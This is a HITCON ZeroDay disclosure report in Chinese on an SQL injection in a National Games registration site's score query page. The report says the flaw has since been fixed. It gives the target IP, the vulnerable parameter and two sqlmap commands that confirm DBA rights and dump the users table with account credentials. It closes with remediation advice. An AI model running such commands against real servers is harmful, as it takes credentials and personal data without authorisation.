全國運動會報名系統 SQL Injection 導致帳號密碼與個資外洩漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00900
  •  發信 Vendor: {全國運動會}
  • Title: 全國運動會報名系統 SQL Injection 導致帳號密碼與個資外洩漏洞
  • Introduction: score_query.php 的 sel_event 參數未過濾即帶入 SQL 查詢,導致可進行資料庫注入並取得整個後端資料庫內容。

處理狀態

目前狀態

公開
Last Update : 2026/09/03
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/07/03 09:57:47 : 新提交 (由 Bun_. 更新此狀態)
  • 2026/07/07 13:43:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/23 16:37:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/23 16:37:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/26 11:11:44 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/09/02 11:52:44 : 確認已修補 (由 Bun_. 更新此狀態)
  • 2026/09/03 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00900
  • 通報者:Superliverbun (Bun_.)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://125.227.216.4/~www/ngames2019/score_query_adv.php

敘述

108 年全國運動會線上報名系統的成績查詢功能 score_query_adv.php,其 POST 參數 sel_event 未經過濾即帶入 SQL 查詢,存在 SQL Injection 漏洞,且當前使用者具備 root(DBA)權限。
重現方式:

攔截成績查詢的 POST 請求,存成 req100.txt,使用 sqlmap 對 sel_event 參數進行注入測試:

sqlmap -r req100.txt --batch --random-agent --is-dba --dbms=mysql --level=2 -p sel_event

確認四種注入皆成立,且 current user is DBA: True:

  • Boolean-based blind
  • Stacked queries(可堆疊執行多句 SQL)
  • Time-based blind(MySQL SLEEP)
  • UNION query(73 columns)
  • 後端 DBMS:MySQL(MariaDB fork)/Linux CentOS 7/Apache 2.4.6/PHP 5.4.16

圖片

進一步 dump 出資料庫 ngames2019 的 users 表,可取得全部使用者資料(共 57 筆):

sqlmap -r req100.txt --batch --random-agent --dbms=mysql -D ngames2019 -T users --dump

該表包含使用者帳號(Username)、密碼(Password)、真實姓名(RealName)、權限等級(Priv,含 root、announce、printer、temptask 等)等敏感欄位。
圖片

修補建議

1. 所有 SQL 查詢改用參數化查詢(Prepared Statements),勿將使用者輸入直接拼接進 SQL 語句。
2. 對 sel_event、sel_date 等參數進行型別與格式驗證。
3. 移除網頁應用資料庫帳號的 root/DBA/FILE 權限,遵循最小權限原則。
4. 密碼不應以明文或弱雜湊儲存,應改用 bcrypt/Argon2 等加鹽雜湊;本次外洩之帳密應立即全面更換。
5. 全面盤點同主機其他賽事頁面是否存在相同問題。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;